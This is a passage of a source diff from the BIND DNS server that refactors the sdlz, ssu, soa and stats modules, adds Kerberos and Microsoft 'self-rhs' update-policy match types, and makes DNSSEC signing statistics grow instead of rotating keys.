+	attachnode(db, node, &target->rdlist.node DNS__DB_FLARG_PASS);
 }
 
 static dns_rdatasetmethods_t rdataset_methods = {
-	disassociate,
-	isc__rdatalist_first,
-	isc__rdatalist_next,
-	isc__rdatalist_current,
-	rdataset_clone,
-	isc__rdatalist_count,
-	isc__rdatalist_addnoqname,
-	isc__rdatalist_getnoqname,
-	NULL, /* addclosest */
-	NULL, /* getclosest */
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	NULL, /* setownercase */
-	NULL, /* getownercase */
-	NULL  /* addglue */
+	.disassociate = disassociate,
+	.first = dns_rdatalist_first,
+	.next = dns_rdatalist_next,
+	.current = dns_rdatalist_current,
+	.clone = rdataset_clone,
+	.count = dns_rdatalist_count,
+	.addnoqname = dns_rdatalist_addnoqname,
+	.getnoqname = dns_rdatalist_getnoqname,
 };
 
 static void
 list_tordataset(dns_rdatalist_t *rdatalist, dns_db_t *db, dns_dbnode_t *node,
 		dns_rdataset_t *rdataset) {
 	/*
-	 * The sdlz rdataset is an rdatalist with some additions.
-	 *	- private1 & private2 are used by the rdatalist.
-	 *	- private3 & private 4 are unused.
-	 *	- private5 is the node.
+	 * The sdlz rdataset is an rdatalist, but additionally holds
+	 * a database node reference.
 	 */
 
-	/* This should never fail. */
-	RUNTIME_CHECK(dns_rdatalist_tordataset(rdatalist, rdataset) ==
-		      ISC_R_SUCCESS);
-
+	dns_rdatalist_tordataset(rdatalist, rdataset);
 	rdataset->methods = &rdataset_methods;
-	dns_db_attachnode(db, node, &rdataset->private5);
+	dns_db_attachnode(db, node, &rdataset->rdlist.node);
 }
 
 /*
@@ -1489,8 +1368,14 @@ dns_sdlzcreateDBP(isc_mem_t *mctx, void *driverarg, void *dbdata,
 	imp = (dns_sdlzimplementation_t *)driverarg;
 
 	/* allocate and zero memory for driver structure */
-	sdlzdb = isc_mem_get(mctx, sizeof(dns_sdlz_db_t));
-	memset(sdlzdb, 0, sizeof(dns_sdlz_db_t));
+	sdlzdb = isc_mem_get(mctx, sizeof(*sdlzdb));
+
+	*sdlzdb = (dns_sdlz_db_t) {
+		.dlzimp = imp,
+		.common = { .methods = &sdlzdb_methods,
+			.rdclass = rdclass, },
+			.dbdata = dbdata,
+	};
 
 	/* initialize and set origin */
 	dns_name_init(&sdlzdb->common.origin, NULL);
@@ -1499,14 +1384,7 @@ dns_sdlzcreateDBP(isc_mem_t *mctx, void *driverarg, void *dbdata,
 		goto mem_cleanup;
 	}
 
-	/* set the rest of the database structure attributes */
-	sdlzdb->dlzimp = imp;
-	sdlzdb->common.methods = &sdlzdb_methods;
-	sdlzdb->common.attributes = 0;
-	sdlzdb->common.rdclass = rdclass;
-	sdlzdb->common.mctx = NULL;
-	sdlzdb->dbdata = dbdata;
-	isc_refcount_init(&sdlzdb->references, 1);
+	isc_refcount_init(&sdlzdb->common.references, 1);
 
 	/* attach to the memory context */
 	isc_mem_attach(mctx, &sdlzdb->common.mctx);
@@ -1518,7 +1396,7 @@ dns_sdlzcreateDBP(isc_mem_t *mctx, void *driverarg, void *dbdata,
 
 	return (result);
 mem_cleanup:
-	isc_mem_put(mctx, sdlzdb, sizeof(dns_sdlz_db_t));
+	isc_mem_put(mctx, sdlzdb, sizeof(*sdlzdb));
 	return (result);
 }
 
@@ -1548,7 +1426,7 @@ dns_sdlzallowzonexfr(void *driverarg, void *dbdata, isc_mem_t *mctx,
 
 	/* Convert DNS name to ascii text */
 	isc_buffer_init(&b, namestr, sizeof(namestr));
-	result = dns_name_totext(name, true, &b);
+	result = dns_name_totext(name, DNS_NAME_OMITFINALDOT, &b);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -1564,8 +1442,8 @@ dns_sdlzallowzonexfr(void *driverarg, void *dbdata, isc_mem_t *mctx,
 	isc_buffer_putuint8(&b2, 0);
 
 	/* make sure strings are always lowercase */
-	dns_sdlz_tolower(namestr);
-	dns_sdlz_tolower(clientstr);
+	isc_ascii_strtolower(namestr);
+	isc_ascii_strtolower(clientstr);
 
 	/* Call SDLZ driver's find zone method */
 	if (imp->methods->allowzonexfr != NULL) {
@@ -1667,14 +1545,14 @@ dns_sdlzfindzone(void *driverarg, void *dbdata, isc_mem_t *mctx,
 
 	/* Convert DNS name to ascii text */
 	isc_buffer_init(&b, namestr, sizeof(namestr));
-	result = dns_name_totext(name, true, &b);
+	result = dns_name_totext(name, DNS_NAME_OMITFINALDOT, &b);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 	isc_buffer_putuint8(&b, 0);
 
 	/* make sure strings are always lowercase */
-	dns_sdlz_tolower(namestr);
+	isc_ascii_strtolower(namestr);
 
 	/* Call SDLZ driver's find zone method */
 	MAYBE_LOCK(imp);
@@ -1852,10 +1730,7 @@ dns_sdlz_putrr(dns_sdlzlookup_t *lookup, const char *type, dns_ttl_t ttl,
 	}
 
 	lex = NULL;
-	result = isc_lex_create(mctx, 64, &lex);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
+	isc_lex_create(mctx, 64, &lex);
 
 	size = initial_size(data);
 	do {
@@ -1875,7 +1750,6 @@ dns_sdlz_putrr(dns_sdlzlookup_t *lookup, const char *type, dns_ttl_t ttl,
 					    mctx, rdatabuf, &lookup->callbacks);
 		if (result != ISC_R_SUCCESS) {
 			isc_buffer_free(&rdatabuf);
-			result = DNS_R_SERVFAIL;
 		}
 		if (size >= 65535) {
 			break;
@@ -1887,6 +1761,7 @@ dns_sdlz_putrr(dns_sdlzlookup_t *lookup, const char *type, dns_ttl_t ttl,
 	} while (result == ISC_R_NOSPACE);
 
 	if (result != ISC_R_SUCCESS) {
+		result = DNS_R_SERVFAIL;
 		goto failure;
 	}
 
@@ -1956,7 +1831,8 @@ dns_sdlz_putnamedrr(dns_sdlzallnodes_t *allnodes, const char *name,
 		dns_name_dup(newname, mctx, sdlznode->name);
 		ISC_LIST_PREPEND(allnodes->nodelist, sdlznode, link);
 		if (allnodes->origin == NULL &&
-		    dns_name_equal(newname, &sdlz->common.origin)) {
+		    dns_name_equal(newname, &sdlz->common.origin))
+		{
 			allnodes->origin = sdlznode;
 		}
 	}
@@ -2008,16 +1884,14 @@ dns_sdlzregister(const char *drivername, const dns_sdlzmethods_t *methods,
 	 * Allocate memory for a sdlz_implementation object.  Error if
 	 * we cannot.
 	 */
-	imp = isc_mem_get(mctx, sizeof(dns_sdlzimplementation_t));
-
-	/* Make sure memory region is set to all 0's */
-	memset(imp, 0, sizeof(dns_sdlzimplementation_t));
+	imp = isc_mem_get(mctx, sizeof(*imp));
 
 	/* Store the data passed into this method */
-	imp->methods = methods;
-	imp->driverarg = driverarg;
-	imp->flags = flags;
-	imp->mctx = NULL;
+	*imp = (dns_sdlzimplementation_t){
+		.methods = methods,
+		.driverarg = driverarg,
+		.flags = flags,
+	};
 
 	/* attach the new sdlz_implementation object to a memory context */
 	isc_mem_attach(mctx, &imp->mctx);
@@ -2028,8 +1902,6 @@ dns_sdlzregister(const char *drivername, const dns_sdlzmethods_t *methods,
 	 */
 	isc_mutex_init(&imp->driverlock);
 
-	imp->dlz_imp = NULL;
-
 	/*
 	 * register the DLZ driver.  Pass in our "extra" sdlz information as
 	 * a driverarg.  (that's why we stored the passed in driver arg in our
@@ -2056,7 +1928,7 @@ dns_sdlzregister(const char *drivername, const dns_sdlzmethods_t *methods,
 	 * return the memory back to the available memory pool and
 	 * remove it from the memory context.
 	 */
-	isc_mem_putanddetach(&imp->mctx, imp, sizeof(dns_sdlzimplementation_t));
+	isc_mem_putanddetach(&imp->mctx, imp, sizeof(*imp));
 	return (result);
 }
 
diff --git a/lib/dns/soa.c b/lib/dns/soa.c
index 8965cef034..ca5ca8858c 100644
--- a/lib/dns/soa.c
+++ b/lib/dns/soa.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -21,12 +23,13 @@
 #include <dns/rdatastruct.h>
 #include <dns/soa.h>
 
-static inline uint32_t
+static uint32_t
 decode_uint32(unsigned char *p) {
-	return ((p[0] << 24) + (p[1] << 16) + (p[2] << 8) + (p[3] << 0));
+	return (((uint32_t)p[0] << 24) + ((uint32_t)p[1] << 16) +
+		((uint32_t)p[2] << 8) + ((uint32_t)p[3] << 0));
 }
 
-static inline void
+static void
 encode_uint32(uint32_t val, unsigned char *p) {
 	p[0] = (uint8_t)(val >> 24);
 	p[1] = (uint8_t)(val >> 16);
diff --git a/lib/dns/ssu.c b/lib/dns/ssu.c
index e3b674780d..2f43c9e3f1 100644
--- a/lib/dns/ssu.c
+++ b/lib/dns/ssu.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,6 @@
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
 #include <isc/result.h>
 #include <isc/string.h>
@@ -57,24 +58,23 @@ struct dns_ssutable {
 	ISC_LIST(dns_ssurule_t) rules;
 };
 
-isc_result_t
+void
 dns_ssutable_create(isc_mem_t *mctx, dns_ssutable_t **tablep) {
 	dns_ssutable_t *table;
 
 	REQUIRE(tablep != NULL && *tablep == NULL);
 	REQUIRE(mctx != NULL);
 
-	table = isc_mem_get(mctx, sizeof(dns_ssutable_t));
+	table = isc_mem_get(mctx, sizeof(*table));
 	isc_refcount_init(&table->references, 1);
 	table->mctx = NULL;
 	isc_mem_attach(mctx, &table->mctx);
 	ISC_LIST_INIT(table->rules);
 	table->magic = SSUTABLEMAGIC;
 	*tablep = table;
-	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 destroy(dns_ssutable_t *table) {
 	isc_mem_t *mctx;
 
@@ -93,8 +93,8 @@ destroy(dns_ssutable_t *table) {
 			isc_mem_put(mctx, rule->name, sizeof(*rule->name));
 		}
 		if (rule->types != NULL) {
-			isc_mem_put(mctx, rule->types,
-				    rule->ntypes * sizeof(*rule->types));
+			isc_mem_cput(mctx, rule->types, rule->ntypes,
+				     sizeof(*rule->types));
 		}
 		ISC_LIST_UNLINK(table->rules, rule, link);
 		rule->magic = 0;
@@ -129,7 +129,7 @@ dns_ssutable_detach(dns_ssutable_t **tablep) {
 	}
 }
 
-isc_result_t
+void
 dns_ssutable_addrule(dns_ssutable_t *table, bool grant,
 		     const dns_name_t *identity, dns_ssumatchtype_t matchtype,
 		     const dns_name_t *name, unsigned int ntypes,
@@ -169,7 +169,7 @@ dns_ssutable_addrule(dns_ssutable_t *table, bool grant,
 
 	rule->ntypes = ntypes;
 	if (ntypes > 0) {
-		rule->types = isc_mem_get(mctx, ntypes * sizeof(*rule->types));
+		rule->types = isc_mem_cget(mctx, ntypes, sizeof(*rule->types));
 		memmove(rule->types, types, ntypes * sizeof(*rule->types));
 	} else {
 		rule->types = NULL;
@@ -177,11 +177,9 @@ dns_ssutable_addrule(dns_ssutable_t *table, bool grant,
 
 	rule->magic = SSURULEMAGIC;
 	ISC_LIST_INITANDAPPEND(table->rules, rule, link);
-
-	return (ISC_R_SUCCESS);
 }
 
-static inline bool
+static bool
 isusertype(dns_rdatatype_t type) {
 	return (type != dns_rdatatype_ns && type != dns_rdatatype_soa &&
 		type != dns_rdatatype_rrsig);
@@ -228,8 +226,7 @@ reverse_from_address(dns_name_t *tcpself, const isc_netaddr_t *tcpaddr) {
 		RUNTIME_CHECK(result < sizeof(buf));
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	isc_buffer_init(&b, buf, strlen(buf));
 	isc_buffer_add(&b, strlen(buf));
@@ -270,8 +267,7 @@ stf_from_address(dns_name_t *stfself, const isc_netaddr_t *tcpaddr) {
 		RUNTIME_CHECK(result < sizeof(buf));
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	isc_buffer_init(&b, buf, strlen(buf));
 	isc_buffer_add(&b, strlen(buf));
@@ -282,13 +278,15 @@ stf_from_address(dns_name_t *stfself, const isc_netaddr_t *tcpaddr) {
 bool
 dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			const dns_name_t *name, const isc_netaddr_t *addr,
-			bool tcp, const dns_aclenv_t *env, dns_rdatatype_t type,
-			const dst_key_t *key, const dns_ssurule_t **rulep) {
+			bool tcp, dns_aclenv_t *env, dns_rdatatype_t type,
+			const dns_name_t *target, const dst_key_t *key,
+			const dns_ssurule_t **rulep) {
 	dns_fixedname_t fixed;
 	dns_name_t *stfself;
 	dns_name_t *tcpself;
 	dns_name_t *wildcard;
 	dns_ssurule_t *rule;
+	const dns_name_t *tname;
 	int match;
 	isc_result_t result;
 	unsigned int i;
@@ -306,19 +304,20 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 	     rule = ISC_LIST_NEXT(rule, link))
 	{
 		switch (rule->matchtype) {
-		case dns_ssumatchtype_name:
 		case dns_ssumatchtype_local:
-		case dns_ssumatchtype_subdomain:
-		case dns_ssumatchtype_wildcard:
+		case dns_ssumatchtype_name:
 		case dns_ssumatchtype_self:
 		case dns_ssumatchtype_selfsub:
 		case dns_ssumatchtype_selfwild:
+		case dns_ssumatchtype_subdomain:
+		case dns_ssumatchtype_wildcard:
 			if (signer == NULL) {
 				continue;
 			}
 			if (dns_name_iswildcard(rule->identity)) {
 				if (!dns_name_matcheswildcard(signer,
-							      rule->identity)) {
+							      rule->identity))
+				{
 					continue;
 				}
 			} else {
@@ -333,6 +332,8 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 		case dns_ssumatchtype_selfsubms:
 		case dns_ssumatchtype_subdomainkrb5:
 		case dns_ssumatchtype_subdomainms:
+		case dns_ssumatchtype_subdomainselfkrb5rhs:
+		case dns_ssumatchtype_subdomainselfmsrhs:
 			if (signer == NULL) {
 				continue;
 			}
@@ -366,8 +367,10 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			if (!dns_name_issubdomain(name, rule->name)) {
 				continue;
 			}
+			RWLOCK(&env->rwlock, isc_rwlocktype_read);
 			dns_acl_match(addr, NULL, env->localhost, NULL, &match,
 				      NULL);
+			RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
 			if (match == 0) {
 				if (signer != NULL) {
 					isc_log_write(dns_lctx,
@@ -410,43 +413,77 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			break;
 		case dns_ssumatchtype_selfkrb5:
 			if (dst_gssapi_identitymatchesrealmkrb5(
-				    signer, name, rule->identity, false)) {
+				    signer, name, rule->identity, false))
+			{
 				break;
 			}
 			continue;
 		case dns_ssumatchtype_selfms:
 			if (dst_gssapi_identitymatchesrealmms(
-				    signer, name, rule->identity, false)) {
+				    signer, name, rule->identity, false))
+			{
 				break;
 			}
 			continue;
 		case dns_ssumatchtype_selfsubkrb5:
 			if (dst_gssapi_identitymatchesrealmkrb5(
-				    signer, name, rule->identity, true)) {
+				    signer, name, rule->identity, true))
+			{
 				break;
 			}
 			continue;
 		case dns_ssumatchtype_selfsubms:
 			if (dst_gssapi_identitymatchesrealmms(
-				    signer, name, rule->identity, true)) {
+				    signer, name, rule->identity, true))
+			{
 				break;
 			}
 			continue;
 		case dns_ssumatchtype_subdomainkrb5:
+		case dns_ssumatchtype_subdomainselfkrb5rhs:
 			if (!dns_name_issubdomain(name, rule->name)) {
 				continue;
 			}
+			tname = NULL;
+			switch (rule->matchtype) {
+			case dns_ssumatchtype_subdomainselfkrb5rhs:
+				if (type == dns_rdatatype_ptr) {
+					tname = target;
+				}
+				if (type == dns_rdatatype_srv) {
+					tname = target;
+				}
+				break;
+			default:
+				break;
+			}
 			if (dst_gssapi_identitymatchesrealmkrb5(
-				    signer, NULL, rule->identity, false)) {
+				    signer, tname, rule->identity, false))
+			{
 				break;
 			}
 			continue;
 		case dns_ssumatchtype_subdomainms:
+		case dns_ssumatchtype_subdomainselfmsrhs:
 			if (!dns_name_issubdomain(name, rule->name)) {
 				continue;
 			}
+			tname = NULL;
+			switch (rule->matchtype) {
+			case dns_ssumatchtype_subdomainselfmsrhs:
+				if (type == dns_rdatatype_ptr) {
+					tname = target;
+				}
+				if (type == dns_rdatatype_srv) {
+					tname = target;
+				}
+				break;
+			default:
+				break;
+			}
 			if (dst_gssapi_identitymatchesrealmms(
-				    signer, NULL, rule->identity, false)) {
+				    signer, tname, rule->identity, false))
+			{
 				break;
 			}
 			continue;
@@ -455,7 +492,8 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			reverse_from_address(tcpself, addr);
 			if (dns_name_iswildcard(rule->identity)) {
 				if (!dns_name_matcheswildcard(tcpself,
-							      rule->identity)) {
+							      rule->identity))
+				{
 					continue;
 				}
 			} else {
@@ -472,7 +510,8 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			stf_from_address(stfself, addr);
 			if (dns_name_iswildcard(rule->identity)) {
 				if (!dns_name_matcheswildcard(stfself,
-							      rule->identity)) {
+							      rule->identity))
+				{
 					continue;
 				}
 			} else {
@@ -494,7 +533,8 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			break;
 		case dns_ssumatchtype_dlz:
 			if (!dns_dlz_ssumatch(table->dlzdatabase, signer, name,
-					      addr, type, key)) {
+					      addr, type, key))
+			{
 				continue;
 			}
 			break;
@@ -503,17 +543,18 @@ dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 		if (rule->ntypes == 0) {
 			/*
 			 * If this is a DLZ rule, then the DLZ ssu
-			 * checks will have already checked
-			 * the type.
+			 * checks will have already checked the type.
 			 */
 			if (rule->matchtype != dns_ssumatchtype_dlz &&
-			    !isusertype(type)) {
+			    !isusertype(type))
+			{
 				continue;
 			}
 		} else {
 			for (i = 0; i < rule->ntypes; i++) {
 				if (rule->types[i].type == dns_rdatatype_any ||
-				    rule->types[i].type == type) {
+				    rule->types[i].type == type)
+				{
 					break;
 				}
 			}
@@ -599,19 +640,15 @@ dns_ssutable_nextrule(dns_ssurule_t *rule, dns_ssurule_t **nextrule) {
 /*
  * Create a specialised SSU table that points at an external DLZ database
  */
-isc_result_t
+void
 dns_ssutable_createdlz(isc_mem_t *mctx, dns_ssutable_t **tablep,
 		       dns_dlzdb_t *dlzdatabase) {
-	isc_result_t result;
 	dns_ssurule_t *rule;
 	dns_ssutable_t *table = NULL;
 
 	REQUIRE(tablep != NULL && *tablep == NULL);
 
-	result = dns_ssutable_create(mctx, &table);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_ssutable_create(mctx, &table);
 
 	table->dlzdatabase = dlzdatabase;
 
@@ -627,7 +664,6 @@ dns_ssutable_createdlz(isc_mem_t *mctx, dns_ssutable_t **tablep,
 
 	ISC_LIST_INITANDAPPEND(table->rules, rule, link);
 	*tablep = table;
-	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
@@ -657,8 +693,12 @@ dns_ssu_mtypefromstring(const char *str, dns_ssumatchtype_t *mtype) {
 		*mtype = dns_ssumatchtype_selfsubkrb5;
 	} else if (strcasecmp(str, "ms-subdomain") == 0) {
 		*mtype = dns_ssumatchtype_subdomainms;
+	} else if (strcasecmp(str, "ms-subdomain-self-rhs") == 0) {
+		*mtype = dns_ssumatchtype_subdomainselfmsrhs;
 	} else if (strcasecmp(str, "krb5-subdomain") == 0) {
 		*mtype = dns_ssumatchtype_subdomainkrb5;
+	} else if (strcasecmp(str, "krb5-subdomain-self-rhs") == 0) {
+		*mtype = dns_ssumatchtype_subdomainselfkrb5rhs;
 	} else if (strcasecmp(str, "tcp-self") == 0) {
 		*mtype = dns_ssumatchtype_tcpself;
 	} else if (strcasecmp(str, "6to4-self") == 0) {
diff --git a/lib/dns/ssu_external.c b/lib/dns/ssu_external.c
index 700a4e25bf..0799315393 100644
--- a/lib/dns/ssu_external.c
+++ b/lib/dns/ssu_external.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -25,7 +27,6 @@
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
diff --git a/lib/dns/stats.c b/lib/dns/stats.c
index 011889e77a..1833c79f70 100644
--- a/lib/dns/stats.c
+++ b/lib/dns/stats.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -103,10 +105,8 @@ typedef enum {
  */
 
 /* Maximum number of keys to keep track of for DNSSEC signing statistics. */
-static int dnssecsign_max_keys = 4;
+static int dnssecsign_num_keys = 4;
 static int dnssecsign_block_size = 3;
-/* Key id mask */
-#define DNSSECSIGNSTATS_KEY_ID_MASK 0x0000FFFF
 
 struct dns_stats {
 	unsigned int magic;
@@ -164,44 +164,31 @@ dns_stats_detach(dns_stats_t **statsp) {
 /*%
  * Create methods
  */
-static isc_result_t
+static void
 create_stats(isc_mem_t *mctx, dns_statstype_t type, int ncounters,
 	     dns_stats_t **statsp) {
-	dns_stats_t *stats;
-	isc_result_t result;
-
-	stats = isc_mem_get(mctx, sizeof(*stats));
+	dns_stats_t *stats = isc_mem_get(mctx, sizeof(*stats));
 
 	stats->counters = NULL;
 	isc_refcount_init(&stats->references, 1);
 
-	result = isc_stats_create(mctx, &stats->counters, ncounters);
-	if (result != ISC_R_SUCCESS) {
-		goto clean_mutex;
-	}
+	isc_stats_create(mctx, &stats->counters, ncounters);
 
 	stats->magic = DNS_STATS_MAGIC;
 	stats->type = type;
 	stats->mctx = NULL;
 	isc_mem_attach(mctx, &stats->mctx);
 	*statsp = stats;
-
-	return (ISC_R_SUCCESS);
-
-clean_mutex:
-	isc_mem_put(mctx, stats, sizeof(*stats));
-
-	return (result);
 }
 
-isc_result_t
+void
 dns_generalstats_create(isc_mem_t *mctx, dns_stats_t **statsp, int ncounters) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	return (create_stats(mctx, dns_statstype_general, ncounters, statsp));
+	create_stats(mctx, dns_statstype_general, ncounters, statsp);
 }
 
-isc_result_t
+void
 dns_rdatatypestats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
@@ -209,34 +196,34 @@ dns_rdatatypestats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	 * Create rdtype statistics for the first 255 RRtypes,
 	 * plus one additional for other RRtypes.
 	 */
-	return (create_stats(mctx, dns_statstype_rdtype,
-			     (RDTYPECOUNTER_MAXTYPE + 1), statsp));
+	create_stats(mctx, dns_statstype_rdtype, (RDTYPECOUNTER_MAXTYPE + 1),
+		     statsp);
 }
 
-isc_result_t
+void
 dns_rdatasetstats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	return (create_stats(mctx, dns_statstype_rdataset,
-			     (RDTYPECOUNTER_MAXVAL + 1), statsp));
+	create_stats(mctx, dns_statstype_rdataset, (RDTYPECOUNTER_MAXVAL + 1),
+		     statsp);
 }
 
-isc_result_t
+void
 dns_opcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	return (create_stats(mctx, dns_statstype_opcode, 16, statsp));
+	create_stats(mctx, dns_statstype_opcode, 16, statsp);
 }
 
-isc_result_t
+void
 dns_rcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	return (create_stats(mctx, dns_statstype_rcode, dns_rcode_badcookie + 1,
-			     statsp));
+	create_stats(mctx, dns_statstype_rcode, dns_rcode_badcookie + 1,
+		     statsp);
 }
 
-isc_result_t
+void
 dns_dnssecsignstats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
@@ -244,8 +231,8 @@ dns_dnssecsignstats_create(isc_mem_t *mctx, dns_stats_t **statsp) {
 	 * Create two counters per key, one is the key id, the other two are
 	 * the actual counters for creating and refreshing signatures.
 	 */
-	return (create_stats(mctx, dns_statstype_dnssec,
-			     dnssecsign_max_keys * 3, statsp));
+	create_stats(mctx, dns_statstype_dnssec,
+		     dnssecsign_num_keys * dnssecsign_block_size, statsp);
 }
 
 /*%
@@ -258,7 +245,7 @@ dns_generalstats_increment(dns_stats_t *stats, isc_statscounter_t counter) {
 	isc_stats_increment(stats->counters, counter);
 }
 
-inline static isc_statscounter_t
+static isc_statscounter_t
 rdatatype2counter(dns_rdatatype_t type) {
 	if (type > (dns_rdatatype_t)RDTYPECOUNTER_MAXTYPE) {
 		return (0);
@@ -276,7 +263,7 @@ dns_rdatatypestats_increment(dns_stats_t *stats, dns_rdatatype_t type) {
 	isc_stats_increment(stats->counters, counter);
 }
 
-static inline void
+static void
 update_rdatasetstats(dns_stats_t *stats, dns_rdatastatstype_t rrsettype,
 		     bool increment) {
 	isc_statscounter_t counter;
@@ -291,7 +278,8 @@ update_rdatasetstats(dns_stats_t *stats, dns_rdatastatstype_t rrsettype,
 		 * (active, stale, or ancient) value in the RRtype part.
 		 */
 		if ((DNS_RDATASTATSTYPE_ATTR(rrsettype) &
-		     DNS_RDATASTATSTYPE_ATTR_ANCIENT) != 0) {
+		     DNS_RDATASTATSTYPE_ATTR_ANCIENT) != 0)
+		{
 			counter |= RDTYPECOUNTER_NXDOMAIN_ANCIENT;
 		} else if ((DNS_RDATASTATSTYPE_ATTR(rrsettype) &
 			    DNS_RDATASTATSTYPE_ATTR_STALE) != 0)
@@ -302,12 +290,14 @@ update_rdatasetstats(dns_stats_t *stats, dns_rdatastatstype_t rrsettype,
 		counter = rdatatype2counter(DNS_RDATASTATSTYPE_BASE(rrsettype));
 
 		if ((DNS_RDATASTATSTYPE_ATTR(rrsettype) &
-		     DNS_RDATASTATSTYPE_ATTR_NXRRSET) != 0) {
+		     DNS_RDATASTATSTYPE_ATTR_NXRRSET) != 0)
+		{
 			counter |= RDTYPECOUNTER_NXRRSET;
 		}
 
 		if ((DNS_RDATASTATSTYPE_ATTR(rrsettype) &
-		     DNS_RDATASTATSTYPE_ATTR_ANCIENT) != 0) {
+		     DNS_RDATASTATSTYPE_ATTR_ANCIENT) != 0)
+		{
 			counter |= RDTYPECOUNTER_ANCIENT;
 		} else if ((DNS_RDATASTATSTYPE_ATTR(rrsettype) &
 			    DNS_RDATASTATSTYPE_ATTR_STALE) != 0)
@@ -361,6 +351,8 @@ void
 dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 			      dnssecsignstats_type_t operation) {
 	uint32_t kval;
+	int num_keys = isc_stats_ncounters(stats->counters) /
+		       dnssecsign_block_size;
 
 	REQUIRE(DNS_STATS_VALID(stats) && stats->type == dns_statstype_dnssec);
 
@@ -368,7 +360,7 @@ dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 	kval = (uint32_t)(alg << 16 | id);
 
 	/* Look up correct counter. */
-	for (int i = 0; i < dnssecsign_max_keys; i++) {
+	for (int i = 0; i < num_keys; i++) {
 		int idx = i * dnssecsign_block_size;
 		uint32_t counter = isc_stats_get_counter(stats->counters, idx);
 		if (counter == kval) {
@@ -379,7 +371,7 @@ dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 	}
 
 	/* No match found. Store key in unused slot. */
-	for (int i = 0; i < dnssecsign_max_keys; i++) {
+	for (int i = 0; i < num_keys; i++) {
 		int idx = i * dnssecsign_block_size;
 		uint32_t counter = isc_stats_get_counter(stats->counters, idx);
 		if (counter == 0) {
@@ -389,27 +381,12 @@ dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 		}
 	}
 
-	/* No room, rotate keys. */
-	for (int i = 1; i < dnssecsign_max_keys; i++) {
-		int gidx = i * dnssecsign_block_size; /* Get key (get index,
-							 gidx) */
-		uint32_t keyv = isc_stats_get_counter(stats->counters, gidx);
-		uint32_t sign = isc_stats_get_counter(
-			stats->counters, (gidx + dns_dnssecsignstats_sign));
-		uint32_t refr = isc_stats_get_counter(
-			stats->counters, (gidx + dns_dnssecsignstats_refresh));
-
-		int sidx = (i - 1) * dnssecsign_block_size; /* Set key, (set
-							       index, sidx) */
-		isc_stats_set(stats->counters, keyv, sidx);
-		isc_stats_set(stats->counters, sign,
-			      (sidx + dns_dnssecsignstats_sign));
-		isc_stats_set(stats->counters, refr,
-			      (sidx + dns_dnssecsignstats_refresh));
-	}
+	/* No room, grow stats storage. */
+	isc_stats_resize(&stats->counters,
+			 (num_keys * dnssecsign_block_size * 2));
 
 	/* Reset counters for new key (new index, nidx). */
